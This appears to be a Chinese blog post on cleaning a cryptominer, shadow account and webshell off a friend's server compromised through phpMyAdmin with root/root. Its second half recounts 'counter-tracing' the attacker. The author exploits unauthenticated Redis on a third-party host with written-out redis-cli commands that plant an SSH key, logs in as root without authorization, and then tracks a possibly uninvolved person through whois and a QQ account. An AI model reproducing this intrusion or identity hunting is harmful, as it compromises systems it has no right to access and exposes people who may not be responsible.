记一次反制追踪溯本求源

 

前言

朋友说自己服务器巨卡,里边放了一堆项目资料,环境也集成一大堆,身为他bb,义不容辞,必须给他看看,本来以为挺简单的,给杀杀毒,清理一下文件就ok了,没想到搞了挺久,正好写这篇文章记录一下。

 

清除病毒

问了问朋友有没有下载啥东西,电脑上有没有什么搭建什么鬼东西,一律回复不知道,让我自己看,当场就想顺着3389过去给他个大嘴巴子。想了想算了,还得自己来,一手任务管理器,一眼看到几个可疑的powershell进程

可以看到PowerShell进程的占用率排在了最前面,不过无法确定PowerShell执行了什么命令,这时候可以使用WMIC查看进程执行时的命令行参数
参数释义:
Caption 进程名
CommandLine 命令行参数
ParentProcessId 父进程PID
Process 进程PID

可以看到PowerShell执行了一段经混淆的代码,一般正常程序都不会这么执行命令,市面很多有很多分析工具,使用火绒剑、ProcExp、ProcessHacker查看命令行参数也是都可以的

直接使用火绒剑结束该进程,之后powershell进程再次出现,那肯定是存在守护进程,刚刚结束的应该是个子进程,此时需要结束进程树才能彻底根除,找到powershell的父进程,结束进程树,防止挖矿程序再次启动

说一下怎么查找相关关联进程,可以使用wmic命令,找到相关进程

找到进程id 3616

找到进程id 3604

找到3500,这样即可找到相关关联进程

这里以火绒剑为例,查看进程,最下面5个PowerShell进程是PID为3652的PowerShell的子进程PID为1972的scvhost.exe是所有挖矿程序的父进程

直接结束进程树

清理工作完成。

 

审计日志

最重要的是怎么进来的,重点看了看RDP日志,打开安全日志(4624登录成功,4625登录失败),确实发现有登陆成功的日志

随即看了看注册表有没有新建账户,果然有个影子账户

随即删除账户,看了看启动项,就知道

删除启动项

查看计划任务

为了确保该进程与启动项一致,这里算了一下MD5值

certrutil -hashfile file MD5

同样全部删除,总算弄完了,之后在进程中我竟然发现了phpstudy….,没错,桌面没有图标,我就直接忽略了,草率了

反手拿了WebShellKiller对全局文件进行扫描

???没出来,找了个火绒病毒查杀也是一样的效果

我不太信,怎么可能没后门,直接在www目录下挨个翻文件,翻吐了快,在这里浪费了很久很久时间,终于找到了news.php,不点开看都不知道,免杀做的挺牛逼啊

清除掉后,收获免杀马一枚,随后查看web日志,在apache access.log、error.log两个日志文件中发现访问ip

xx.xx.xx.xx – – [14/Dec/2020:14:26:37 +0800] “POST /phpMyAdmin-4.8.1-all-languages/version_check.php HTTP/1.1” 200 28

xx.xx.xx.xx – – [14/Dec/2020:14:26:46 +0800] “POST /phpMyAdmin-4.8.1-all-languages/logout.php HTTP/1.1” 302 8637

xx.xx.xx.xx – – [14/Dec/2020:14:26:51 +0800] “GET /phpMyAdmin-4.8.1-all-languages/index.php HTTP/1.1” 200 3497

phpmyadmin的版本还是4.8.1的

刚开始以为是直接爆破进来的,此时一切都明了,谁会拒绝root/root,反正我不会,用脚趾头都能想到朋友不会设置复杂密码。

 

反查追踪

确认了入侵点,清理也已经完成,并且拿到了攻击ip,尝试溯源,打开微步

18年就被标记傀儡机,还是一台日本机子,够呛溯源找到攻击者,大概率是肉鸡,此时想到还有挖矿样本,先看看样本吧,把主程序放在沙箱跑一下,还有一个批处理文件,一个windows命令文件,其余的是无用混淆文件

Cmd1.bat 安装Networkss恶意服务,自启动start.cmd脚本,并将nat目录下所有文件权限修改为只读的隐藏系统文件。

start.cmd 启动挖矿主程序,访问矿池地址

svchost.exe 将自定义服务封装为系统服务

Systems.exe 挖矿主程序

样本名称 systems.exe

样本大小 3662336

MD5 4d8a76f89b0a68a6d5fc5b1b95257ec0

SHA1 d25a722636f2c1de313d481733b9c397925675eb

SHA256 eb1d6f905efcb27544c43e9107735a2160c3fa7180eff121a701dc6655ae0242

返回头再看看哪个肉鸡,用插件简单看了一下,发现6379开放,随即使用namp详细探测一下

nmap -A -p 6379  script redis-info + ip

直接尝试远程登录一下,居然能直接可以登录。。。

该你被抓鸡,你不当鸡谁当,在确认有未授权漏洞后,尝试利用,redis利用方式有

好几种

1> redis直接写入webshell,但是需要绝对路径,写入权限也要有

2> 写入ssh公钥文件使用私钥登录

3> 写入crontab计划任务反弹shell

4> 主从复制rce

这里使用第二种,因为之前探测发现ssh服务也是开启的

1、首先本地生成公私钥文件

ssh-keygen -t rsa

2、将密钥上传到目标主机redis

cat test.txt | redis-cli -h xx.xx.xx.xx -x set crackit

redis-cli -h xx.xx.xx.xx

config set dir /root/.ssh/

config get dir/

3、保存为authorized_keys

config set dbfilename “authorized_keys”

save

4、直接使用ssh登录成功

ssh -i id_rsa root@x.x.x.x

上去后先netstat看了一下,明晃晃的一个外连ip

定位到相关的pid进程,发现了外连地址,纯ip的

继续查看了有谁登录过这台主机,通过查看/var/log/wtmp日志

last  /var/log/wtmp

根据windows被入侵日志时间段筛选了一遍,还真的在这个时间段找到了这个ip地址,用户是root,很大概率这个外连地址就是攻击者的真实服务器了

wangjy ? pts/9 ? ? ? xx.xx.xx.xx ?Thu Dec 17 10:15 ? still logged in ??

wangjy ? pts/8 ? ? ? xx.xx.xx.xx ?Thu Dec  17 09:56 ? still logged in ??

wangjy ? pts/7 ? ? ? xx.xx.xx.xx ?Thu Dec  17 09:32 – 10:44 ?(01:12) ? ?

root ? ? pts/5 ? ? ?xx.xx.xx.xx ? Thu Dec  17 09:30 – 10:20 ?(00:50) ? ?

root ? ? pts/4 ? ? ?xx.xx.xx.xx ? Thu Dec  17 09:30 – 10:20 ?(00:50) ?

Whois查询了一下ip

成功关联到了qq邮箱,运气真的好

直接搜索添加qq,一个SVIP9大佬,地点精确到某省市区

但是没有手机号,空间动态也看不到,把邮箱扔在reg007查了一遍,什么都没有

至此就收工了,也不知道找的目标人物到底准确不准确,之后就给朋友顺手装了360,火绒也没卸载,让他没事别瞎开服务。

 

总结

1、首先定位问题原因,确认中了木马

2、对进程,启动项,计划任务,后门,账户全部进行清除

3、通过审计主机、web日志定位入口点

4、反追踪拿到肉鸡权限,发现外连地址

5、溯源定位到具体人(不一定百分百是)

(完)